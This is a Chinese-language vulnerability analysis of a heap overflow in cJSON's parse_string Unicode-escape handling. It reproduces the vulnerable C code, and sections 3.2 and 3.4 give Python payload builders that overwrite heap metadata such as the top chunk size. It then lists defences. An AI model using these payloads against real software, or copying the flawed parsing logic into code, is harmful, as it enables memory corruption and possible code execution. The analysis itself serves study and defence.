cJSON库函数存在的堆溢出漏洞分析
字数 813 2025-08-22 12:23:06
cJSON库堆溢出漏洞分析与利用教学
1. 漏洞概述
cJSON是一个轻量级的C语言JSON解析库,用于解析和生成JSON数据。在解析字符串时,parse_string函数存在堆溢出漏洞,攻击者可以通过精心构造的JSON数据触发该漏洞,实现内存破坏。
2. 漏洞原理分析
2.1 cJSON_Parse函数流程
cJSON * cJSON_Parse(const char *value) {
return cJSON_ParseWithOpts(value, 0, 0);
}
cJSON * cJSON_ParseWithOpts(const char *value, const char **return_parse_end, int require_null_terminated) {
const char *end = 0;
cJSON *c = cJSON_New_Item(); // 分配cJSON结构体
ep = 0;
if (!c) return 0;
end = parse_value(c, skip(value)); // 解析JSON值
if (!end) {
cJSON_Delete(c);
return 0;
}
if (require_null_terminated) {
end = skip(end);
if (*end) {
cJSON_Delete(c);
ep = end;
return 0;
}
}
if (return_parse_end) *return_parse_end = end;
return c;
}
2.2 cJSON结构体
typedef struct cJSON {
struct cJSON *next, *prev; // 链表指针
struct cJSON *child; // 子节点指针
int type; // 数据类型
char *valuestring; // 字符串值
int valueint; // 整数值
double valuedouble; // 浮点数值
char *string; // 键名
} cJSON;
2.3 parse_string函数漏洞点
static const char *parse_string(cJSON *item, const char *str) {
const char *ptr = str + 1;
char *ptr2;
char *out;
int len = 0;
unsigned uc, uc2;
if (*str != '\"') {
ep = str;
return 0;
}
// 计算字符串长度
while (*ptr != '\"' && *ptr && ++len)
if (*ptr++ == '\\') ptr++; // 跳过转义字符
out = (char *)cJSON_malloc(len + 1); // 分配内存
if (!out) return 0;
ptr = str + 1;
ptr2 = out;
while (*ptr != '\"' && *ptr) {
if (*ptr != '\\') {
*ptr2++ = *ptr++; // 普通字符直接复制
} else { // 处理转义字符
ptr++;
switch (*ptr) {
case 'b': *ptr2++ = '\b'; break;
case 'f': *ptr2++ = '\f'; break;
case 'n': *ptr2++ = '\n'; break;
case 'r': *ptr2++ = '\r'; break;
case 't': *ptr2++ = '\t'; break;
case 'u': // Unicode转义处理
uc = parse_hex4(ptr + 1);
ptr += 4;
// 漏洞点:处理Unicode转义时可能跳过字符串结束符"
// 导致后续写入超出分配的内存
[...]
default: *ptr2++ = *ptr; break;
}
ptr++;
}
}
*ptr2 = 0;
if (*ptr == '\"') ptr++;
item->valuestring = out;
item->type = cJSON_String;
return ptr;
}
漏洞关键点:
- 在计算字符串长度时,遇到
\u转义会跳过4个字符 - 如果这4个字符中包含字符串结束符
",计算长度时会忽略它 - 但在实际写入时,会继续写入直到遇到
"或\0 - 导致写入数据可能超过分配的内存大小
3. 漏洞利用方法
3.1 基本利用原理
构造一个包含\u转义的字符串,在转义序列中包含"字符:
"\u0022" // 这是合法的Unicode转义,表示双引号
精心构造的payload可以让解析器:
- 在计算长度时忽略
"字符 - 但在实际写入时继续写入后续数据
- 导致堆溢出
3.2 利用代码示例
def fake_string(chunk_size, payload, overflow_data):
string = b'"' + payload.ljust(chunk_size - 2, b'\x01') + b"\u"
string += b'"' + b'-' * 5 # 包含"字符的Unicode转义
string += overflow_data + b'"'
return string
# 构造恶意JSON数据
data_overflow = b'\xff\xff\xff\xff\xff\xff\xff\xff' # 覆盖size字段
data_overflow += b'This_is_fake_data_to_chunk!!!!!'
fake_data = fake_string(0x18, b'a', data_overflow)
3.3 利用场景
- 无限堆溢出:通过构造特定数据,可以持续写入直到遇到
\0或" - 修改top chunk大小:可以覆盖堆管理器的top chunk大小
- 触发free:通过构造错误的JSON数据,可以触发cJSON释放已分配的内存
3.4 实际利用示例
# 修改top chunk的size
top_chunk_size = b'\xf1\x08'
fake_data_1 = b'"' + b'a' * 0x16 + b"\u" + b'"' + b'-' * 5
fake_data_1 += top_chunk_size + b'"'
4. 漏洞影响
- 可以导致堆内存破坏
- 可能实现任意代码执行
- 影响所有使用cJSON库解析不可信输入的应用程序
5. 防御措施
- 更新到最新版本的cJSON库
- 对输入JSON数据进行严格验证
- 使用沙箱环境运行JSON解析代码
- 实现输入长度限制
6. 相关资源
7. 总结
cJSON库的parse_string函数在处理Unicode转义字符时存在堆溢出漏洞,攻击者可以通过精心构造的JSON数据利用该漏洞。开发者应及时更新库版本,并对输入数据进行严格验证以防止此类漏洞被利用。